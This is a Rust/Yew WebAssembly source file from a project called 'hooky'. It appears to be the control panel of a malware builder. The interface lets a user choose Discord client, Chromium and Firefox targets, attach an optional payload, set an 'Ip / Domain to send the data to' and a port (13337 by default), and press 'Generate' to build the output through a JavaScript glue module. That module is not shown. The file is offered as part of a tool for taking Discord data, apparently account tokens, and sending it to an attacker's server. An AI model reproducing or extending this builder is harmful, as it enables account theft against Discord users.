~/hooky

hooky/command/src/app.rs -rw-r--r-- 2.78 kB
335dec98 — Arthur Melton command controller 2 years ago
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
use wasm_bindgen::prelude::*;
use yew::platform::spawn_local;
use yew::prelude::*;

#[wasm_bindgen(module = "/public/glue.js")]
extern "C" {
    #[wasm_bindgen(js_name = invokeGen, catch)]
    async fn gen(features: Vec<JsValue>, payload: JsValue, send_to: JsValue) -> Result<JsValue, JsValue>;
    
    #[wasm_bindgen(js_name = isOn, catch)]
    async fn is_on(id: String) -> Result<JsValue, JsValue>;
    
    #[wasm_bindgen(js_name = getPayload, catch)]
    async fn getPayload() -> Result<JsValue, JsValue>;
    
    #[wasm_bindgen(js_name = setPayload)]
    async fn setPayload();
    
    #[wasm_bindgen(js_name = getIp, catch)]
    async fn getIp() -> Result<JsValue, JsValue>;
}
    
#[function_component(App)]
pub fn app() -> Html {
    let types: Vec<&str> = vec!["discord-client", "discord-chromium", "discord-firefox"];

    let types_clone = types.clone();
    let gen = Callback::from(move |_| {
        let types_clone = types_clone.clone();
        spawn_local(async move {
            let mut features: Vec<JsValue> = Vec::new();
            for i in types_clone {
                let on = is_on(i.to_string()).await;
                if on.is_ok() && on.unwrap() == true {
                    features.push(JsValue::from_str(i));
                }
            }
            let _ = gen(features, getPayload().await.unwrap_or(JsValue::null()), getIp().await.unwrap_or(JsValue::from_str("127.0.0.1:13337"))).await;
        });
    });
    
    let payload_button = Callback::from(move |_| {
        spawn_local(async move {
            setPayload().await;
        });
    });

    let mut id = 0;

    html! {
        <main class="container">
            <div class="row">
                <img src="public/hooky.svg" class="logo hooky" alt="Hooky"/>
            </div>
                        
            <label for={"payload"}>{"Payload (Optional)"}</label>
            <input type="text" id={"payload"} />
            <button type="button" onclick={payload_button}>{"Open"}</button>
            
            <label for={"ip"}>{"Ip / Domain to send the data to"}</label>
            <input type="text" value={"1.1.1.1"} id={"ip"} />
            
            <label for={"port"}>{"Port to send the data to"}</label>
            <input type="number" value={13337} id={"port"} />
            
            {
                for types.iter().map(|i| {
                        id+=1;
                        html! { <><input type="checkbox" id={i.to_string()} checked={ true } /><label for={i.to_string()}>{ i.replace("-", " ") }</label></>}
                    }
                )
            }

            <div class="row" style="margin-top: 25px">
                <button type="button" onclick={gen}>{"Generate"}</button>
            </div>
        </main>
    }
}